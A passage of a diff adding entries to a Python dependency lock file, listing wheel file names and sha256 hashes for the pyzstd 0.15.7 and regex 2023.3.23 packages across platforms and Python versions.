">=3.5" +files = [ + {file = "pyzstd-0.15.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9ba445c38aff01c41175dcc621b88357907f4deb1f147ff140e691e74c589029"}, + {file = "pyzstd-0.15.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:30ca96e20dcda02665c241a70b577202d3b9443416aaffefc490f6ff9d78f83f"}, + {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c8408c499ef67dcec49be00b7007e0ceb7cbb1211cdaeb390294d8a0e9ceab75"}, + {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7fa6ace75ad05303967908321d9b02f7011a1ea5103f9f72342dba820fa47b1a"}, + {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5b6d9e1be9fdaef16c53ce0b2bfd880ae21ca54bc244a1de1c28d0cefeee8760"}, + {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:effda4ab1426a2b3384ea354f1d873865f87ae0e946508765dfe1b52c6dea6b8"}, + {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3e03065608eff491466bcfb7fa1c48d3f81bfac1926db68f13f3362a1b8bc2db"}, + {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3d109b2321f9d2df7e17fe49791379f831cc8cfd7ad29069e1687faf99095188"}, + {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:5361782c9ff6c5a40d39637258dd64e109f7c535976e9c2db8ae17a7c6c2b3cb"}, + {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:d05909397f155b12a0a9b7c36cf1fb8a96df5b7caa9bc69c47ed36ab73e1aba9"}, + {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:1ab0309a5a36ebe6bbf6b33f200aa9faa71493b842924e85840d78ecd72ce3cd"}, + {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e5504321223125495b9ae78cd49c7a4495ae8e547d09f704aad0c43a9fa8c5f2"}, + {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:13c653dac81e95e966759a9b8b47d6c0fdf0a6c51a743397dee9091e62c7bfa8"}, + {file = "pyzstd-0.15.7-cp310-cp310-win32.whl", hash = "sha256:b0b6a55ed8ae86d6a809bdf0552753f8bc11ce1a8b4ccb2a55f9a4026ecde01c"}, + {file = "pyzstd-0.15.7-cp310-cp310-win_amd64.whl", hash = "sha256:ef7f2f8a95fdb755047015894e1859a49a5495bd6d1b197898b72e2c3abeca92"}, + {file = "pyzstd-0.15.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8af59e31d1e51ccd998142f8ec7347e5ba7a801572539a8bffd9009956a76343"}, + {file = "pyzstd-0.15.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:867d909f633a39add6f62fa19b61520abccb9af527194db0c490ebd2e910200d"}, + {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:39a3ca5e44d9ba036f2515a3aec1fdb27849bd55affd205c578447fc2e2d2503"}, + {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:53958a8c20e4344a86bad6e9cd0b886710bfac2bc581102b852bb24c2c09084c"}, + {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0802d7a01ab7bd73dd0dd5c3d9143a7fe77e6c98ab33fdf4b14b20fe5ca090a7"}, + {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc340a9159ead0ffaac5893569e124e975958e31ad381357e65765296882b81e"}, + {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bdf506a8b3b17b3cfa9b9b0b69d5fb542058fa3bb7121d5e5c4ec553ff39801"}, + {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:371a0523d40f560d1352ca91e532acaa2b331500ded3cf3ad699eee88d76af60"}, + {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:827717b9a9f28cef58ba1018879f9ba777b9f287675107baf7d92409ac9d908d"}, + {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:98b8f16815eac222f6092e27c65f2811e7ad2300661f72224f02b28ec361baae"}, + {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b1034413b31fa2f74213e19c109dcf2d4e5aac49336efc0640c7fbea9713e0b0"}, + {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:aed59809b3c5c021c7ae9f380da6f0835062cfd91a81a3125e7d4eb4e394fc15"}, + {file = "pyzstd-0.15.7-cp311-cp311-win32.whl", hash = "sha256:e733ff332afa44737b3d1e433a023b8f588881e5d2ae7698293560437aaa1879"}, + {file = "pyzstd-0.15.7-cp311-cp311-win_amd64.whl", hash = "sha256:2129572d541e86561d4dc0f6be10788de6c19ff25a8ed83231f1825b05154cf2"}, + {file = "pyzstd-0.15.7-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e4d0abeaed6e6162d4506e7cc3e9df40f5589d9946922635bdf03821ff969380"}, + {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d4dc50cc7d4a8763454ba3e12fbf558bcf7b0764eb7591fb5dfe9ac35b8162d"}, + {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:38ca4cc998b93bcc062a1cb01f41761b7ca54cad135cd8dd50074623449d5424"}, + {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f9d44e8ac7a788d60589e22cd27e072cf480100c4fa68fab6bcbc5927a162e18"}, + {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dfdddfea962e039f8397a0e892eccf0fc25378ec3eb1ca81fdf2658f20272f0e"}, + {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:492301b5234acc0d04443bdb00bf7a1ad601caf82bc837f8a4c137c7eef8932e"}, + {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:8e444c7198e531d236a5791eb6d1045249c93aa1dfd036b8275e9b0f36633c79"}, + {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:d3fab381de4e0bf8dfa8e356ee04c0ac18d5b603344cca98c0f6106760e979a8"}, + {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:d779c3e8faa92b241e58600f7b2126f3c055d75d3968ed5d856e2c5e2ec847ce"}, + {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:414ec9fff19a5da1ed4c6322129eed2a8b1dd77ce6d55cf2b99013e374368489"}, + {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:2192f5a3b115274a9c68f75ff2c21cfb4006f0e5eff637f856e622871f0e7e26"}, + {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:ec9bf97d6959112fe15c04daf1e94451a78a28d2573ef22f1d215db00204db20"}, + {file = "pyzstd-0.15.7-cp36-cp36m-win32.whl", hash = "sha256:9a374e990d365b403723be368a054c086d168c65a8f2fe74bdf5e1344da37a82"}, + {file = "pyzstd-0.15.7-cp36-cp36m-win_amd64.whl", hash = "sha256:933928a57c4445c4039e0dd4c75a9bfcab5bf0b1bb23b4869e340e28bc7aeb1e"}, + {file = "pyzstd-0.15.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:877ccd7ce58737fb672f17681d3ff5e78ab5731e7096662ae7b36305d95eb82c"}, + {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:52461114f78380b7432f9a31b0249933930aa4968507ecc9a27a345a905abac6"}, + {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d313de63feda18974c406cb05a963b27234aa0ad604561ed435ff726eaca1160"}, + {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5dacf851e2a2cba837dcdf007af07dad7c860f70061e0c39094e500fc70a6e50"}, + {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30ea45ecd108aea9aec504192a7b18dce34e8dcb48503659a7a598c623d08437"}, + {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5a2ed163bd9f00c494f70f387803277592bf5788f8a07a67eebda3ad1c11b7d"}, + {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3a29a44f06ddd3f57a8656326044c57ec05e5162e97ffeed70b376b309c1bfb0"}, + {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c3a9266cf6038d8af82cc4067f38dd5de84ebb6a152cfc25b9ef0b44c8ce84e9"}, + {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:b4b4cd04b4f02693811015f9356945caffe7c5ded7c897df88d87550778d5c58"}, + {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:f4483359b6ebaf64ad5381c6f590e7f297d251dd6de019992e9481123c55c790"}, + {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:e25b652b67077b3d37451a7471b8975d478ec87d7f96f8f4673ed2d6b97355df"}, + {file = "pyzstd-0.15.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ac8e5ab21c1d6baa1b2f6778ffa8b4970f5277bfa60c9fedbb03fc483ab21ee7"}, + {file = "pyzstd-0.15.7-cp37-cp37m-win32.whl", hash = "sha256:1c489982b59bce1d7a21dd71204ddae96dd34bcbdb50050cf3e3a1dc18f144d0"}, + {file = "pyzstd-0.15.7-cp37-cp37m-win_amd64.whl", hash = "sha256:92d0370d2b0806aa652d2c1240d6c858a5b2a30baa892dce0f2638260590b038"}, + {file = "pyzstd-0.15.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:758b4b8261032991849fc1652feab2fdc432255a01898e15fe4957f91c49f5a9"}, + {file = "pyzstd-0.15.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9e067a28b7935f1087b77b89f4cff7c84f0673bcf756aa6dbf21a36a32065ef2"}, + {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f5d03b13d32608a72301ee78afac0105b3a14bf63f2a9361c3742b37d85b38d7"}, + {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3ec72c95dc86430d156643a41ebc467677f45907a6dd44c013377c3bbc4e68d0"}, + {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04eb56c932bf7ad9a22bdfde995c2bb22909ae00218dcb3e174f76375389a339"}, + {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0d4fd161f173c330291f54de5ab8e849e8686ad24c76f45c8045ce7d48aa0c33"}, + {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d05d0ee19a1a37f995568ce05208b985683681d7f49073618559a44a4a568d44"}, + {file = "pyzstd-0.15.7-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:07c3863c968eaeab8c4ebd32c3ddf9ca3e5762d77e20da21a3d9a7578bd0b6c4"}, + {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f4b87bf782306c27e9dc97ae148a72207b5dc018d5ad05768aeda6fbf262be1d"}, + {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:5e5058ec639d754267fbccb51f50f752c1e17e0a9a407c7eb2c3cdce8eb6f571"}, + {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:fa29986a7ed07f321878445d10a896a0a3f1a556c39b3d2750091759b0f252e2"}, + {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:12f1d451ba9d1bd4f8e8585d59f09fee6fc6ed978b27dd55c2915a37bfa63dfc"}, + {file = "pyzstd-0.15.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8718cf7d96eae80e01334c5a3e171d698bfbcb0d357a27f5421be0de5a096a47"}, + {file = "pyzstd-0.15.7-cp38-cp38-win32.whl", hash = "sha256:701db75f49f1eca26f07f6b08751c43d5979e9ff39360a40ba165aebccbb2199"}, + {file = "pyzstd-0.15.7-cp38-cp38-win_amd64.whl", hash = "sha256:1e5472aa34e798d3a8ae306521a711e69ed1e3af72970c2f76312c795e547770"}, + {file = "pyzstd-0.15.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d865b3a330bafe0891d8414a87f1a56509baa19980150c3ba75f8b8e966a8655"}, + {file = "pyzstd-0.15.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:718f6cef753f8cc9275f5e790178151a59fae5f8587f53ee6f36e3a939466bd4"}, + {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d8382fa1e672baf15d5fb3d13e0a1ca0f2b38730eab0611944bb5e0c7df9bc6"}, + {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e34142d94a8f423687c940fb64031cfe099ca31dee463ecfcc784060d58929ff"}, + {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:54a7fa73ae22ee477ae3a5e3c6cafba4f1463363929f9e5e9b471f2d2278c649"}, + {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f60f561ebd5ef2acfa971173ddf7f0987be3489d03aeb57a066f3daaeaa2b50e"}, + {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a5983053242dab7daf36bfea5c246329249f28e71afc2ab8b4dbe8ac3c9287dd"}, + {file = "pyzstd-0.15.7-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f30cbf469eb11f39dbdca787bf6b3b287898e10202c4371863fa56844b4220f0"}, + {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:72b0037a683a344c118c51a2cc353de03d1442792a8c1fd9adb64592f5794cd2"}, + {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:298b24dfe7e94aa7857ab78059948158565a659f900e21645fffd55fc8736a84"}, + {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:110e35df5837e4ca5506760dc6e354104eefb7c3e4cbc9f8a53bb7813778601f"}, + {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:5b6dbd6b01544a82836d32dffa4dc4fa63fed520c24409856372801bc65204a9"}, + {file = "pyzstd-0.15.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:34661ecc88dfed442b7be22dbf481f3bc80111bb44b225f4520c73ed380b2424"}, + {file = "pyzstd-0.15.7-cp39-cp39-win32.whl", hash = "sha256:fd134893881bbbb1ede80e1c69a1ce8590018bee627be9b325ae2bdfe42b2e6b"}, + {file = "pyzstd-0.15.7-cp39-cp39-win_amd64.whl", hash = "sha256:b3c9cedaf2f79fdc43940f29c9ff0fe5f135ed1ea9ad8f3be18bd4b77847889d"}, + {file = "pyzstd-0.15.7-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4460309364de3a6139a6ac337a9bb454101e8280fed834970c3dd04a00d0677e"}, + {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:07150e8f018df72c32cbc7958eacae8d18a14064a3b18dda00ef443b12804ad0"}, + {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:443844f59416327abc0074d7d91a1cbeaaca270e79b71cb5acb824c8a6472b9d"}, + {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2e17e38ea19c21a65026405e511c3cf9b26fe503c492e6a9db469763818e33c5"}, + {file = "pyzstd-0.15.7-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:86716c3f2c8bc82fd677f0fe1064833daf73148d168249c5fd5d6a8d1c3a6921"}, + {file = "pyzstd-0.15.7-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:8ecd7c61ac4694b89c906d94f465324cb22772c5b54dacc947e45a927cfb5784"}, + {file = "pyzstd-0.15.7-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:525bbe1db05d8cb657cb793aa994372f84f8fa22a009a67751e3c170f78b8812"}, + {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee64beaa98c3917fe21262670bc536663ab69cd07ab96c160e01ff30d654a880"}, + {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b855ce93692c9d598e21e0a28a32776c0ec63749f32125ba885eefbb5d669258"}, + {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f98470a2e8a7c11692deafe586b31bf87f5481d25ceec34fe49319b9c5de6ad1"}, + {file = "pyzstd-0.15.7-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:eed9cbe732bdcd8cbf23f33b5d942a2111e91bf0573d1d28d49b626b63b9db52"}, + {file = "pyzstd-0.15.7-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:f6b8443be8d4bd58d2f4d33a41fafddc012214e890d5c3634ba14e048287a982"}, + {file = "pyzstd-0.15.7-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:71e7c2fe631f06fd2ebc5870640bc0e19cdcd3a26ad2e2a663fe4b5aa2bc3ea2"}, + {file = "pyzstd-0.15.7-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57317f65d68dc217d6f7e354a63f349a6f08fd25c962e54c99df1520dce87b53"}, + {file = "pyzstd-0.15.7-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c355d04dac84f9dcaee1cd2fb9df0236afadbc90e6ebf1285376c480523d8b1"}, + {file = "pyzstd-0.15.7-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97d408496c7f2d263533a1be2798fca13d1ae5eb625f556b3f3412cfd9894e01"}, + {file = "pyzstd-0.15.7-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7edd705d185b16399ff1143f84dcb34a8e8ec73229ecc187b32d916158541ada"}, + {file = "pyzstd-0.15.7.tar.gz", hash = "sha256:55e503f28f5a9d225ce9d0639e3f5b1801bacace5aea926ec2998e73c5150fe7"}, +] + +[[package]] +name = "regex" +version = "2023.3.23" +description = "Alternative regular expression module, to replace re." +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "regex-2023.3.23-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:845a5e2d84389c4ddada1a9b95c055320070f18bb76512608374aca00d22eca8"}, + {file = "regex-2023.3.23-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:87d9951f5a538dd1d016bdc0dcae59241d15fa94860964833a54d18197fcd134"}, + {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37ae17d3be44c0b3f782c28ae9edd8b47c1f1776d4cabe87edc0b98e1f12b021"}, + {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0b8eb1e3bca6b48dc721818a60ae83b8264d4089a4a41d62be6d05316ec38e15"}, + {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:df45fac182ebc3c494460c644e853515cc24f5ad9da05f8ffb91da891bfee879"}, + {file = "regex-2023.3.23-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7006105b10b59971d3b248ad75acc3651c7e4cf54d81694df5a5130a3c3f7ea"}, + {file = "regex-2023.3.23-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:93f3f1aa608380fe294aa4cb82e2afda07a7598e828d0341e124b8fd9327c715"}, + {file = "regex-2023.3.23-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:787954f541ab95d8195d97b0b8cf1dc304424adb1e07365967e656b92b38a699"}, + {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:20abe0bdf03630fe92ccafc45a599bca8b3501f48d1de4f7d121153350a2f77d"}, + {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:11d00c31aeab9a6e0503bc77e73ed9f4527b3984279d997eb145d7c7be6268fd"}, + {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:d5bbe0e1511b844794a3be43d6c145001626ba9a6c1db8f84bdc724e91131d9d"}, + {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ea3c0cb56eadbf4ab2277e7a095676370b3e46dbfc74d5c383bd87b0d6317910"}, + {file = "regex-2023.3.23-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d895b4c863059a4934d3e874b90998df774644a41b349ebb330f85f11b4ef2c0"}, + {file = "regex-2023.3.23-cp310-cp310-win32.whl", hash = "sha256:9d764514d19b4edcc75fd8cb1423448ef393e8b6cbd94f38cab983ab1b75855d"}, + {file = "regex-2023.3.23-cp310-cp310-win_amd64.whl", hash = "sha256:11d1f2b7a0696dc0310de0efb51b1f4d813ad4401fe368e83c0c62f344429f98"}, + {file = "regex-2023.3.23-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8a9c63cde0eaa345795c0fdeb19dc62d22e378c50b0bc67bf4667cd5b482d98b"}, + {file = "regex-2023.3.23-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dd7200b4c27b68cf9c9646da01647141c6db09f48cc5b51bc588deaf8e98a797"}, + {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22720024b90a6ba673a725dcc62e10fb1111b889305d7c6b887ac7466b74bedb"}, + {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6b190a339090e6af25f4a5fd9e77591f6d911cc7b96ecbb2114890b061be0ac1"}, + {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e76b6fc0d8e9efa39100369a9b3379ce35e20f6c75365653cf58d282ad290f6f"}, + {file = "regex-2023.3.23-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7868b8f218bf69a2a15402fde08b08712213a1f4b85a156d90473a6fb6b12b09"}, + {file = "regex-2023.3.23-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2472428efc4127374f494e570e36b30bb5e6b37d9a754f7667f7073e43b0abdd"}, + {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:c37df2a060cb476d94c047b18572ee2b37c31f831df126c0da3cd9227b39253d"}, + {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:4479f9e2abc03362df4045b1332d4a2b7885b245a30d4f4b051c4083b97d95d8"}, + {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2396e0678167f2d0c197da942b0b3fb48fee2f0b5915a0feb84d11b6686afe6"}, + {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:75f288c60232a5339e0ff2fa05779a5e9c74e9fc085c81e931d4a264501e745b"}, + {file = "regex-2023.3.23-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c869260aa62cee21c5eb171a466c0572b5e809213612ef8d495268cd2e34f20d"}, + {file = "regex-2023.3.23-cp311-cp311-win32.whl", hash = "sha256:25f0532fd0c53e96bad84664171969de9673b4131f2297f1db850d3918d58858"}, + {file = "regex-2023.3.23-cp311-cp311-win_amd64.whl", hash = "sha256:5ccfafd98473e007cebf7da10c1411035b7844f0f204015efd050601906dbb53"}, + {file = "regex-2023.3.23-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6572ff287176c0fb96568adb292674b421fa762153ed074d94b1d939ed92c253"}, + {file = "regex-2023.3.23-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a610e0adfcb0fc84ea25f6ea685e39e74cbcd9245a72a9a7aab85ff755a5ed27"}, + {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:086afe222d58b88b62847bdbd92079b4699350b4acab892f88a935db5707c790"}, + {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:79e29fd62fa2f597a6754b247356bda14b866131a22444d67f907d6d341e10f3"}, + {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c07ce8e9eee878a48ebeb32ee661b49504b85e164b05bebf25420705709fdd31"}, + {file = "regex-2023.3.23-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86b036f401895e854de9fefe061518e78d506d8a919cc250dc3416bca03f6f9a"}, + {file = "regex-2023.3.23-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:78ac8dd8e18800bb1f97aad0d73f68916592dddf233b99d2b5cabc562088503a"}, + {file = "regex-2023.3.23-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:539dd010dc35af935b32f248099e38447bbffc10b59c2b542bceead2bed5c325"}, + {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9bf4a5626f2a0ea006bf81e8963f498a57a47d58907eaa58f4b3e13be68759d8"}, + {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf86b4328c204c3f315074a61bc1c06f8a75a8e102359f18ce99fbcbbf1951f0"}, + {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:2848bf76673c83314068241c8d5b7fa9ad9bed866c979875a0e84039349e8fa7"}, + {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:c125a02d22c555e68f7433bac8449992fa1cead525399f14e47c2d98f2f0e467"}, + {file = "regex-2023.3.23-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:cd1671e9d5ac05ce6aa86874dd8dfa048824d1dbe73060851b310c6c1a201a96"}, + 